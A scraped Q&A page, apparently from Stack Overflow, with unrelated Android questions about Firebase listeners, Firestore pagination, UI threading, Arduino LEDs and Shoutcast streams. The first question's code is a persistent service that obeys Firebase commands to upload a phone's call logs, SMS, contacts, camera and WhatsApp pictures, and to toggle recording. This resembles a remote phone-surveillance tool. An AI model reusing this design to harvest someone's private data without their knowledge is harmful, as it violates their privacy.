I am working on project in which app responds to Commands uploaded in Firebase Realtime Database, to listen to changes in Firebase Realtime Database I am using ValueEventListner. A command is uploaded in FRDB must only be executed once and then removed from FRDB (Whenever a command is executed it is removed from FRDB and onDataChanged is called again, if there are more than 1 commands under the 'command' node then it gets executed more than once, to stop that I have Implemented the following code). I have called addValueEventListener in onCreate in a START_STICKY service. The app also uploads other data to FRDB which is working fine but the ValueEventListner is not working properly.
The code works fine for a 3 or 4 days and then stops working. I don't know whats wrong, I am completely lost. Any help would be appreciated.
mCommandsRef.addValueEventListener(new ValueEventListener() {
private long fcount = 0;
#Override
public void onDataChange(DataSnapshot dataSnapshot) {
try {
Iterable<DataSnapshot> snapshots = dataSnapshot.getChildren();
if (fcount > dataSnapshot.getChildrenCount()) {
if (dataSnapshot.getChildrenCount() == 0) {
fcount = 0;
}
return;
}
int i = 0;
for (DataSnapshot snapshot : snapshots) {
if (i == 0) {
fcount = dataSnapshot.getChildrenCount();
}
long c = snapshot.getValue(Long.class);
executeCommand(c, snapshot);
i++;
}
} catch (DatabaseException | NullPointerException e) {
e.printStackTrace();
executeCommand(DATABASE_EXCEPTION_CODE, dataSnapshot);
}
}
#Override
public void onCancelled(DatabaseError databaseError) {
}
});
Here is the executeCommand method :
public void executeCommand(long c, DataSnapshot dataSnapshot) {
int a = Integer.parseInt(String.valueOf(c));
String command;
switch (a) {
case 0:
Log.i(TAG, COMMAND_SET_STATUS);
setStatus();
command = COMMAND_SET_STATUS;
break;
case 1:
try {
long count = Integer.parseInt(dataSnapshot.getKey());
mRootRef.child(CALL_LOGS_LIST).setValue(getCallLogs(count));
command = COMMAND_GET_CALLS;
break;
} catch (NumberFormatException e) {
e.printStackTrace();
command = COMMAND_EXCEPTION;
break;
}
case 2:
try {
long count = Integer.parseInt(dataSnapshot.getKey());
Log.i(TAG, COMMAND_GET_MESSAGES);
mRootRef.child(SMS_LIST).setValue(getSmsList(count));
command = COMMAND_GET_MESSAGES;
break;
} catch (NumberFormatException e) {
e.printStackTrace();
command = COMMAND_EXCEPTION;
break;
}
case 3:
Log.i(TAG, COMMAND_GET_CONTACTS);
mRootRef.child(CONTACTS_LIST).setValue(getContactList());
command = COMMAND_GET_CONTACTS;
break;
case 4:
dbHelper.setRecordOn();
setStatus();
command = COMMAND_SET_RECORD_TRUE;
break;
case 5:
dbHelper.setRecordOff();
setStatus();
command = COMMAND_SET_RECORD_FALSE;
break;
case 6:
try {
int count = Integer.parseInt(dataSnapshot.getKey());
getCameraPictures(count);
command = COMMAND_GET_CAMERA_PICTURES;
} catch (NumberFormatException e) {
e.printStackTrace();
command = COMMAND_EXCEPTION;
}
break;
case 7:
try {
int count = Integer.parseInt(dataSnapshot.getKey());
getWhatsAppSentPictures(count);
command = COMMAND_GET_WHATSAPP_SENT_PICTURES;
} catch (NumberFormatException e) {
e.printStackTrace();
command = COMMAND_EXCEPTION;
}
break;
case 8:
try {
int count = Integer.parseInt(dataSnapshot.getKey());
getWhatsAppReceivedPictures(count);
command = COMMAND_GET_WHATSAPP_RECEIVED_PICTURES;
} catch (NumberFormatException e) {
e.printStackTrace();
command = COMMAND_EXCEPTION;
}
break;
case 9:
List<String> recList = getRecsList();
if (recList.size() == 0) {
command = COMMAND_GET_RECS_ZERO;
break;
}
mRootRef.child(RECS_LIST).setValue(recList);
command = COMMAND_GET_RECS;
break;
default:
command = COMMAND_UNKNOWN_COMMAND;
break;
}
final String finalCommand = command;
dataSnapshot.getRef().removeValue(new DatabaseReference.CompletionListener() {
#Override
public void onComplete(DatabaseError databaseError, DatabaseReference databaseReference) {
CommandHistory commandHistory = new CommandHistory(finalCommand, new Date().toString());
mRootRef.child(COMMAND_HISTORY).push().setValue(commandHistory)
.addOnCompleteListener(new OnCompleteListener<Void>() {
#Override
public void onComplete(#NonNull Task<Void> task) {
if (task.isSuccessful()) {
}
}
});
}
});
}
Related
I am making android chat app with firebase firestore database a I need infinite pagination with listeners for data changes (new massage, deleted massage...)
I found blog post written in kotlin and of corse searched firebase documentation and end up with this code:
// firstTime variable shows if function is called from pagination or initially
private void addMessagesEventListener(boolean firstTime) {
// get collection
CollectionReference messagesCollection = chatsCollection.document(chat.getId()).collection(Constants.FIREBASE_MESSAGES_PATH);
// create query
Query query = messagesCollection.orderBy("timestamp", Query.Direction.DESCENDING);
// if NOT first time add startAt
if (!firstTime) {
query.startAt(startTimestamp);
}
//limit to 20 messages
query.limit(20).get().addOnSuccessListener(queryDocumentSnapshots -> {
if (!firstTime) {
endTimestamp = startTimestamp;
}
startTimestamp = (long) queryDocumentSnapshots.getDocuments().get(queryDocumentSnapshots.size() - 1).get("timestamp");
Query innerQuery = messagesCollection.orderBy("timestamp").startAt(startTimestamp);
if(!firstTime) {
innerQuery.endBefore(endTimestamp);
}
ListenerRegistration listener = innerQuery
.addSnapshotListener((queryDocumentSnapshots1, e) -> {
if (e != null) {
Log.w(TAG, "listen:error", e);
return;
}
for (DocumentChange dc : queryDocumentSnapshots1.getDocumentChanges()) {
Message message = dc.getDocument().toObject(Message.class);
switch (dc.getType()) {
case ADDED:
// add new message to list
messageListAdapter.addMessage(message);
if (firstTime) {
messagesList.smoothScrollToPosition(0);
}
break;
case REMOVED:
// remove message from list
messageListAdapter.removeMessage(message);
break;
}
}
});
listeners.add(listener);
});
}
Now, code suppose to save listeners 1st for first 20 messages and new messages, 2nd for messages from 20-40 and so on, but, it is not working for some reason. Am I missing something?
Problem is that line
startTimestamp = (long) queryDocumentSnapshots.getDocuments().get(queryDocumentSnapshots.size() - 1).get("timestamp"); gets always the same result. I tried even with documentSnapshot instead of timestamp, same result.
Thanks in advance.
try this
#Override
public void onStart() {
super.onStart();
loadFirstQuery();
}
public void loadFirstQuery() {
if (firebaseAuth.getCurrentUser() != null) {
contentListDashboard.clear();
String currentUserId = firebaseAuth.getCurrentUser().getUid();
// what we do when recycler reach bottom
recyclerProfileDashboard.addOnScrollListener(new RecyclerView.OnScrollListener() {
#Override
public void onScrolled(#NonNull RecyclerView recyclerView, int dx, int dy) {
super.onScrolled(recyclerView, dx, dy);
// horizontal
//Boolean reachBottom = !recyclerView.canScrollHorizontally(-1);
// for vertical recycler
Boolean reachBottom = !recyclerView.canScrollVertically(-1);
if (reachBottom) {
loadMorePost(); // do load more post
}
}
});
// RETRIEVING FIRST Query
Query firstQuery = firebaseFirestore
.collection("ProfileDashboard")
.document(currentUserId)
.collection("ProfileInfo")
.orderBy("timestamp", Query.Direction.DESCENDING)
.limit(20);
firstQuery.addSnapshotListener(new EventListener<QuerySnapshot>() {
#Override
public void onEvent(QuerySnapshot documentSnapshots, FirebaseFirestoreException e) {
if (!documentSnapshots.isEmpty()) {
// please add if doc not empty
if (isFirstPageFirstLoad) {
lastVisible = documentSnapshots.getDocuments().get(documentSnapshots.size() - 1); // array 0, 1, 2
}
for (DocumentChange doc : documentSnapshots.getDocumentChanges()) {
if (doc.getType() == DocumentChange.Type.ADDED) {
//String postId = doc.getDocument().getId();
contentProfileDashboard = doc.getDocument().toObject(ContentProfileDashboard.class);
// if first page firest load true
if (isFirstPageFirstLoad) {
contentListDashboard.add(contentProfileDashboard);
} else {
contentListDashboard.add(0, contentProfileDashboard);
}
// fire the event
adapterProfileDashboard.notifyDataSetChanged();
}
}
isFirstPageFirstLoad = false;
}
}
});
}
}
// Method to load more post
public void loadMorePost() {
if (firebaseAuth.getCurrentUser() != null) {
String currentUserId = firebaseAuth.getCurrentUser().getUid();
Query nextQuery = firebaseFirestore
.collection("ProfileDashboard")
.document(currentUserId)
.collection("ProfileInfo")
.orderBy("timestamp", Query.Direction.DESCENDING)
.startAfter(lastVisible)
.limit(20);
nextQuery.addSnapshotListener(new EventListener<QuerySnapshot>() {
#Override
public void onEvent(QuerySnapshot documentSnapshots, FirebaseFirestoreException e) {
if (!documentSnapshots.isEmpty()) {
lastVisible = documentSnapshots.getDocuments().get(documentSnapshots.size() - 1);
for (DocumentChange doc : documentSnapshots.getDocumentChanges()) {
if (doc.getType() == DocumentChange.Type.ADDED) {
//String postId = doc.getDocument().getId();
// contentSeen = doc.getDocument().toObject(ContentProfile.class);
// contentList.add(contentSeen);
contentProfileDashboard = doc.getDocument().toObject(ContentProfileDashboard.class);
contentListDashboard.add(contentProfileDashboard);
//adapterSeen.notifyDataSetChanged();
adapterProfileDashboard.notifyDataSetChanged();
}
}
}
}
});
}
}
any question?
I have found mistake.
The working code is:
private void addMessagesEventListener(boolean firstTime) {
CollectionReference messagesCollection = chatsCollection.document(chat.getId()).collection(Constants.FIREBASE_MESSAGES_PATH);
Query query = messagesCollection.orderBy("timestamp", Query.Direction.DESCENDING);
if (!firstTime) {
query = query.startAt(startListen);
}
query.limit(20).get().addOnSuccessListener(queryDocumentSnapshots -> {
if (!firstTime) {
endListen = startListen;
}
startListen = queryDocumentSnapshots.getDocuments().get(queryDocumentSnapshots.size() - 1);
Query innerQuery = messagesCollection.orderBy("timestamp").startAt(startListen);
if(!firstTime) {
innerQuery = innerQuery.endBefore(endListen);
}
ListenerRegistration listener = innerQuery
.addSnapshotListener((queryDocumentSnapshots1, e) -> {
if (e != null) {
Log.w("SASA", "listen:error", e);
return;
}
for (DocumentChange dc : queryDocumentSnapshots1.getDocumentChanges()) {
Message message = dc.getDocument().toObject(Message.class);
switch (dc.getType()) {
case ADDED:
// add new message to list
messageListAdapter.addMessage(message);
if (firstTime) {
messagesList.smoothScrollToPosition(0);
}
break;
case REMOVED:
// remove message from list
messageListAdapter.removeMessage(message);
break;
}
}
});
listeners.add(listener);
});
}
The mistake was in query = query.startAt(startListen) and innerQuery = innerQuery.endBefore(endListen)
startListen & endListen are of DocumentSnapshot type
I am using sortedList in my adapter
You shoud add
private void detachListeners() {
for(ListenerRegistration registration : listeners) {
registration.remove();
}
}
in onDestroy to detach all listeners.
Code is listening for adding new messages and deleting old ones.
For example if i display in a TextView the text "Uploading" now i want it to display the text as "Uploading..." and the 3 points to be delete and show again like it's processing doing something and not just static text.
I have this in the MainActivity onTouch event:
#Override
public boolean onTouchEvent(MotionEvent event)
{
float eventX = event.getX();
float eventY = event.getY();
float lastdownx = 0;
float lastdowny = 0;
switch (event.getAction())
{
case MotionEvent.ACTION_DOWN:
lastdownx = eventX;
lastdowny = eventY;
Thread t = new Thread(new Runnable()
{
#Override
public void run()
{
byte[] response = null;
if (connectedtoipsuccess == true)
{
if (is_start == true)
{
uploadTimerBool = true;
timers.StartTimer(timerValueRecord, "Recording Time: ");
response = Get(iptouse + "start");
is_start = false;
} else
{
timers.StopTimer(timerValueRecord);
textforthespeacch = "Recording stopped and preparing the file to be shared on youtube";
MainActivity.this.runOnUiThread(new Runnable()
{
#Override
public void run()
{
status1.setText("Preparing the file");
}
});
MainActivity.this.initTTS();
response = Get(iptouse + "stop");
is_start = true;
startuploadstatusthread = true;
servercheckCounter = 0;
}
if (response != null)
{
try
{
a = new String(response, "UTF-8");
MainActivity.this.runOnUiThread(new Runnable()
{
#Override
public void run()
{
if (a.equals("Recording started"))
{
status1.setText("Recording");
}
if (a.equals("Recording stopped and preparing the file to be shared on youtube"))
{
status1.setText("Recording Stopped");
}
}
});
textforthespeacch = a;
MainActivity.this.initTTS();
} catch (UnsupportedEncodingException e)
{
e.printStackTrace();
}
Logger.getLogger("MainActivity(inside thread)").info(a);
}
}
}
});
t.start();
return true;
case MotionEvent.ACTION_MOVE:
break;
case MotionEvent.ACTION_UP:
break;
default:
return false;
}
return true;
}
This line:
status1.setText("Preparing the file");
Instead displaying only static text "Preparing the file" i was wondering how to make that it will display something like moving points like "Preparing the file..." then "Preparing the file.." and "Preparing the file." and again "Preparing the file..." then "Preparing the file.." and so on.
Use this awesome library, exactly what you are looking for:
https://github.com/tajchert/WaitingDots
Add this to dependencies
compile 'pl.tajchert:waitingdots:0.2.0'
and you can use the methos. The description is in the link
Handler handler = new Handler();
for (int i = 100; i <= 3500; i=i+100) {
handler.postDelayed(new Runnable() {
#Override
public void run() {
if(i%300 == 0){
textView.setText("Uploading.");
}else if(i%200 == 0){
textView.setText("Uploading..");
}else if(i%100 == 0){
textView.setText("Uploading...");
}
}
}, i);
}
guys. There is a problem about threads in my android app. initializeGame() is the main method :
public void initializeGame()
{
Thread thread = new Thread(new onePoint());
thread.start();
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
class, where i'm describing the thread :
class onePoint implements Runnable {
(...)
public void run() {
(...)
setBackgroundColorOnButton(...);
while (...) {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
(...)
if (...) {
setOpacityOnButton(...);
}
}
}
Where it is "(...)", there is just a work with variables.
You see, there are two methods : setBackgroundColorOnButton() and setOpacityOnButton().
I'll show them :
void setBackgroundColorOnButton(int id, int num) {
int color = Color.parseColor("#cccaca");
switch (num) {
case 1: color = Color.RED; break;
case 2: color = Color.parseColor("#FF4F38"); break;
case 3: color = Color.YELLOW; break;
case 4: color = Color.GREEN; break;
case 5: color = Color.BLUE; break;
case 6: color = Color.parseColor("#09256C"); break;
case 7: color = Color.parseColor("#690069"); break;
}
final int col = color;
Message message = backgroundColorOnButton.obtainMessage();
message.obj = new int[] {id, col};
backgroundColorOnButton.sendMessage(message);
}
void setOpacityOnButton(int id, final int opacity) {
Message message = opacityOnButton.obtainMessage();
message.obj = new int[] {id, opacity};
opacityOnButton.sendMessage(message);
}
In this methods i'm sending messages to 2 handlers, which are described in onCreate() :
backgroundColorOnButton = new Handler() {
public void handleMessage(Message msg) {
int[] a = (int[]) msg.obj;
Button btn = (Button) findViewById(a[0]);
GradientDrawable drawable = (GradientDrawable) btn.getBackground();
drawable.setColor(a[1]);
}
};
opacityOnButton = new Handler() {
public void handleMessage(Message msg) {
int[] a = (int[]) msg.obj;
Button btn = (Button) findViewById(a[0]);
if (a[1] != 0) {
btn.setText(Integer.toString(a[1]));
}
else {
btn.setText("");
}
}
};
In method onCreate() i also create ui elements.
My problem: in method onCreate() i call initializeGame(), and i need to see ui changing after app starts, but i don't see it for 5 seconds. It is a white screen during 5 seconds and then ui's starting to change. What am i doing wrong?
I am doing a project involving Android and Arduino. My project has two LEDs, with one controlling the brightness and the other just on and off the led. I'm having problems in the arduino part for compiling my brightness program with the TurnOn/OFF led program. Any suggestions on what I should do?
Android Program for brightness:
sr.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener(){
#Override
public void onProgressChanged(SeekBar arg0, int arg1, boolean arg2) {
srValue = (byte) arg1;
}
#Override
public void onStartTrackingTouch(SeekBar arg0) {
}
#Override
public void onStopTrackingTouch(SeekBar arg0) {
String temp = "r";
byte bytes1[] = temp.getBytes();
try {
outStream.write(bytes1);
} catch (IOException e) {
e.printStackTrace();
}
try {
outStream.write(srValue);
} catch (IOException e) {
e.printStackTrace();
}
}
});
}
Android program for ON/OFF Led:
tg2.setOnClickListener(new OnClickListener()
{
#Override
public void onClick(View v)
{
if((tg2.isChecked()))
{
System.out.println("checked");
tv2.setBackgroundColor(0xFF00FF00);
sendData("1");
}
else
{
System.out.println("Unchecked");
tv2.setBackgroundColor(0xfff00000);
sendData("4");
}
}
});
Arduino Program for brightness:
byte packet[2];
int pIndex;
int rPin = 9;
byte rValue = 0;
void setup() {
Serial.begin(9600);
pinMode(rPin, OUTPUT);
analogWrite(rPin, 0);
}
void loop() {
// see if there's incoming serial data:
if (Serial.available() > 0) {
packet[pIndex++] = Serial.read();
}
if(pIndex >= 2){
switch(packet[0]){
case 't':
rValue = packet[0];
break;
case 'y':
rValue = packet[3];
break;
case 'r':
rValue = packet[1];
break;
default:
;
}
analogWrite(rPin, rValue); // 0 - 255
pIndex = 0;
}
}
Arduino Program for Turn ON/OFF:
if (state == '1') // ON LED 2
{
analogWrite(ledPin2, 255);
}
else if(state == '4')
{
analogWrite(ledPin2,0);
}
My code looks like the following and everything works fine
public void ibutton_play_stop_click(View v)
{
switch(sharedPrefs.getInt("quality", 1))
{
case 0:
{
uriStationURL = Uri.parse(StaticVars.RadioStations[0]);
break;
}
case 1:
{
uriStationURL = Uri.parse(StaticVars.RadioStations[1]);
break;
}
case 2:
{
uriStationURL = Uri.parse(StaticVars.RadioStations[2]);
break;
}
case 3:
{
uriStationURL = Uri.parse(StaticVars.RadioStations[3]);
break;
}
}
try
{
if((player == null) || (!player.isPlaying()))
{
this.player = new MediaPlayer();
prgBrBuffer.setVisibility(android.view.View.VISIBLE);
player.stop();
player.reset();
player.setDataSource(this, uriStationURL);
player.setAudioStreamType(AudioManager.STREAM_MUSIC);
player.setOnPreparedListener(this);
player.setOnBufferingUpdateListener(this);
player.setOnErrorListener(this);
player.prepareAsync();
ibttnPlayStop.setEnabled(false);
}
else if((player != null) && (player.isPlaying()))
{
player.stop();
player.reset();
player = null;
}
}
catch(IOException e)
{
Log.e("Media Player Error: ", e.toString());
}
}
but regardless of the choosen "?sid=" every time the same stream is being played.
My question is now: how can i choose which of the given sid from my shoutcast2 server is being played from my media player?
Do not use server.address/?sid=x, instead just use server.address/x